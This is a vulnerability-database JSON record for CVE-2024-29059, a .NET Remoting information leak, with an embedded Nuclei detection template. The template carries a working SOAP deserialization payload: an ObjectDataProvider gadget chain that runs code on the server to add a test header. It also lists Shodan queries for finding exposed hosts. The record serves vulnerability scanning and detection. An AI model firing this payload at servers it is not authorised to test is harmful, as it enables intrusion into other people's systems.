{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-29059/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-29059/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-29059/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-29059/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-29059/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-29059"},"sightings":{"href":"/api/v1/sightings/cve-2024-29059"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-29059.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-29059\n\ninfo:\n  name: .NET Framework - Leaking ObjRefs via HTTP .NET Remoting\n  author: iamnoooob,rootxharsh,DhiyaneshDk,pdresearch\n  severity: high\n  description: .NET Framework Information Disclosure Vulnerability\n  impact: |\n    Attackers can exploit leaked ObjRefs to access remote objects via .NET Remoting, potentially gaining unauthorized access to application data.\n  remediation: |\n    Apply security patches for .NET Framework addressing CVE-2024-29059.\n  reference:\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-29059\n    - https://code-white.com/blog/leaking-objrefs-to-exploit-http-dotnet-remoting/\n    - https://github.com/codewhitesec/HttpRemotingObjRefLeak\n    - https://github.com/NaInSec/CVE-LIST\n    - https://github.com/fkie-cad/nvd-json-data-feeds\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2024-29059\n    cwe-id: CWE-209\n    epss-score: 0.98624\n    epss-percentile: 0.99923\n    cpe: cpe:2.3:a:microsoft:.net_framework:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: microsoft\n    product: .net_framework\n    shodan-query:\n      - 'Server: MS .NET Remoting'\n      - \"server: ms .net remoting\"\n  tags: cve,cve2024,dotnet,microsoft,remoting,deserialization,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1\n        Host: {{Hostname}}\n        __RequestVerb: POST\n        Content-Type: text/xml\n\n      - |\n        POST {{objref}} HTTP/1.1\n        Host: {{Hostname}}\n        SOAPAction: \"\"\n        Content-Type: text/xml\n\n        <SOAP-ENV:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:clr=\"http://schemas.microsoft.com/soap/encoding/clr/1.0\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n        <a1:TextFormattingRunProperties id=\"ref-1\" xmlns:a1=\"http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35\">\n        <ForegroundBrush id=\"ref-3\">&#60;ObjectDataProvider MethodName=&#34;AddHeader&#34;\n          xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;\n          xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;\n          xmlns:System=&#34;clr-namespace:System;assembly=mscorlib&#34;\n          xmlns:System.Web=&#34;clr-namespace:System.Web;assembly=System.Web&#34;&#62;&#60;ObjectDataProvider.ObjectInstance&#62;&#60;ObjectDataProvider MethodName=&#34;get_Response&#34;&#62;&#60;ObjectDataProvider.ObjectInstance&#62;\n          &#60;ObjectDataProvider ObjectType=&#34;{x:Type System.Web:HttpContext}&#34; MethodName=&#34;get_Current&#34; /&#62;\n          &#60;/ObjectDataProvider.ObjectInstance&#62;\n          &#60;/ObjectDataProvider&#62;\n          &#60;/ObjectDataProvider.ObjectInstance&#62;\n          &#60;ObjectDataProvider.MethodParameters&#62;\n          &#60;System:String&#62;X-Vuln-Test&#60;/System:String&#62;\n          &#60;System:String&#62;{{randstr}}&#60;/System:String&#62;\n          &#60;/ObjectDataProvider.MethodParameters&#62;\n        &#60;/ObjectDataProvider&#62;</ForegroundBrush>\n        </a1:TextFormattingRunProperties>\n        </SOAP-ENV:Envelope>\n\n    extractors:\n      - type: regex\n        name: objref\n        part: body_1\n        group: 1\n        regex:\n          - \"(/[0-9a-f_]+/[0-9A-Za-z_+]+_[0-9]+\\\\.rem)\"\n        internal: true\n\n      - type: dsl\n        dsl:\n          - x_vuln_test\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(body_1,'ObjRef')\"\n          - \"contains(x_vuln_test,'{{randstr}}')\"\n        condition: and\n# digest: 4a0a0047304502210098ed2ce42204d5c39a5073d1e93cdc8ada9f0d0524ebd50e30922ac9612b69ae022013141b2e5d1958d3599e8b5221f2672d7394d0e3da82fef54ce0303b6462959a:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2024-29059"}